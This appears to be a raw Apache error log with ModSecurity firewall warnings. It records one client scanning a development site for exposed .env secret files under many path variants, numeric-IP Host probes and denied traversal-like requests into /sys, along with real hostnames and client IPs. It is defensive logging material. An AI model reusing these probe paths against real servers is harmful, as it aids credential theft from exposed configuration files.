[Fri Jul 17 09:15:30.468549 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWvwooI4qY7Jg93pY8QAAABM"]
[Fri Jul 17 09:15:30.637525 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uat/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/uat/.env"] [unique_id "almlWrEWOaI5pmYo9fnSNAAAAAA"]
[Fri Jul 17 09:15:30.638789 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/uat/.env"] [unique_id "almlWrEWOaI5pmYo9fnSNAAAAAA"]
[Fri Jul 17 09:15:30.845655 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWrEWOaI5pmYo9fnSNAAAAAA"]
[Fri Jul 17 09:15:30.980037 2026] [security2:error] [pid 2032156:tid 2032156] [client 148.153.56.62:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/GnQV"] [unique_id "almlWq14q1EBnanVMYGnWwAAAAk"]
[Fri Jul 17 09:15:31.009298 2026] [security2:error] [pid 1993619:tid 1993619] [client 148.153.56.62:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/2Unh"] [unique_id "almlW41dLClkUfK_dfHoKQAAAAI"]
[Fri Jul 17 09:15:31.017436 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/stage/.env"] [unique_id "almlW7oj0IkvhSCYadmFFQAAAAQ"]
[Fri Jul 17 09:15:31.019392 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/stage/.env"] [unique_id "almlW7oj0IkvhSCYadmFFQAAAAQ"]
[Fri Jul 17 09:15:31.222272 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:31.258555 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlW7oj0IkvhSCYadmFFQAAAAQ"]
[Fri Jul 17 09:15:31.416992 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:31.426687 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/development/.env"] [unique_id "almlW1CBpfuYyhJ140vWFQAAAB4"]
[Fri Jul 17 09:15:31.427983 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/development/.env"] [unique_id "almlW1CBpfuYyhJ140vWFQAAAB4"]
[Fri Jul 17 09:15:31.527267 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:31.588713 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlW1CBpfuYyhJ140vWFQAAAB4"]
[Fri Jul 17 09:15:31.757171 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/production/.env"] [unique_id "almlWzsMb3am0TgkjETeIAAAAAo"]
[Fri Jul 17 09:15:31.758467 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/production/.env"] [unique_id "almlWzsMb3am0TgkjETeIAAAAAo"]
[Fri Jul 17 09:15:32.042215 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWzsMb3am0TgkjETeIAAAAAo"]
[Fri Jul 17 09:15:32.044971 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:32.057327 2026] [security2:error] [pid 2034024:tid 2034024] [client 148.153.56.62:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/aab8"] [unique_id "almlXI-0g_VSPeIeFN3DowAAAAs"]
[Fri Jul 17 09:15:32.150128 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/node0/cpu1/subsystem/uevent
[Fri Jul 17 09:15:32.210757 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/config/app/.env"] [unique_id "almlXFCBpfuYyhJ140vWFgAAAB4"]
[Fri Jul 17 09:15:32.212687 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/config/app/.env"] [unique_id "almlXFCBpfuYyhJ140vWFgAAAB4"]
[Fri Jul 17 09:15:32.373976 2026] [security2:error] [pid 2032156:tid 2032156] [client 184.73.35.182:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/sn/public/index.php/us/palliService"] [unique_id "almlXK14q1EBnanVMYGnXQAAAAk"]
[Fri Jul 17 09:15:32.374006 2026] [security2:error] [pid 2032156:tid 2032156] [client 184.73.35.182:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/sn/public/index.php/us/palliService"] [unique_id "almlXK14q1EBnanVMYGnXQAAAAk"]
[Fri Jul 17 09:15:32.379362 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXFCBpfuYyhJ140vWFgAAAB4"]
[Fri Jul 17 09:15:32.464191 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:32.547376 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vault"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.vault"] [unique_id "almlXJBVIrrUwtEhdafUKAAAAAU"]
[Fri Jul 17 09:15:32.548628 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.vault"] [unique_id "almlXJBVIrrUwtEhdafUKAAAAAU"]
[Fri Jul 17 09:15:32.770342 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXJBVIrrUwtEhdafUKAAAAAU"]
[Fri Jul 17 09:15:32.774135 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:32.880558 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty43/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 09:15:32.938447 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.fly"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.fly"] [unique_id "almlXI-0g_VSPeIeFN3DpAAAAAs"]
[Fri Jul 17 09:15:32.939669 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.fly"] [unique_id "almlXI-0g_VSPeIeFN3DpAAAAAs"]
[Fri Jul 17 09:15:33.160492 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXI-0g_VSPeIeFN3DpAAAAAs"]
[Fri Jul 17 09:15:33.290879 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:33.328952 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.railway"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.railway"] [unique_id "almlXVCBpfuYyhJ140vWFwAAAB4"]
[Fri Jul 17 09:15:33.330340 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.railway"] [unique_id "almlXVCBpfuYyhJ140vWFwAAAB4"]
[Fri Jul 17 09:15:33.399238 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:33.497473 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:09/subsystem/uevent
[Fri Jul 17 09:15:33.563444 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXVCBpfuYyhJ140vWFwAAAB4"]
[Fri Jul 17 09:15:33.732326 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.render"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.render"] [unique_id "almlXejME1mgqYZ5O94plwAAAAE"]
[Fri Jul 17 09:15:33.733521 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.render"] [unique_id "almlXejME1mgqYZ5O94plwAAAAE"]
[Fri Jul 17 09:15:33.949530 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXejME1mgqYZ5O94plwAAAAE"]
[Fri Jul 17 09:15:34.118676 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vercel"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.vercel"] [unique_id "almlXhHlOGcokz2QIwTWhgAAAAM"]
[Fri Jul 17 09:15:34.120310 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.vercel"] [unique_id "almlXhHlOGcokz2QIwTWhgAAAAM"]
[Fri Jul 17 09:15:34.139805 2026] [security2:error] [pid 1993572:tid 1993572] [client 148.153.56.62:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/jquery-3.3.1.slim.min.js"] [unique_id "almlXol9vhFBGA6D8l99lwAAAAw"]
[Fri Jul 17 09:15:34.185217 2026] [security2:error] [pid 2030804:tid 2030804] [client 148.153.56.62:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/aab9"] [unique_id "almlXoe39YUk0SgV8AU9oQAAABE"]
[Fri Jul 17 09:15:34.221527 2026] [security2:error] [pid 2018741:tid 2018741] [client 148.153.56.62:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/jquery-3.3.2.slim.min.js"] [unique_id "almlXroj0IkvhSCYadmFGQAAAAQ"]
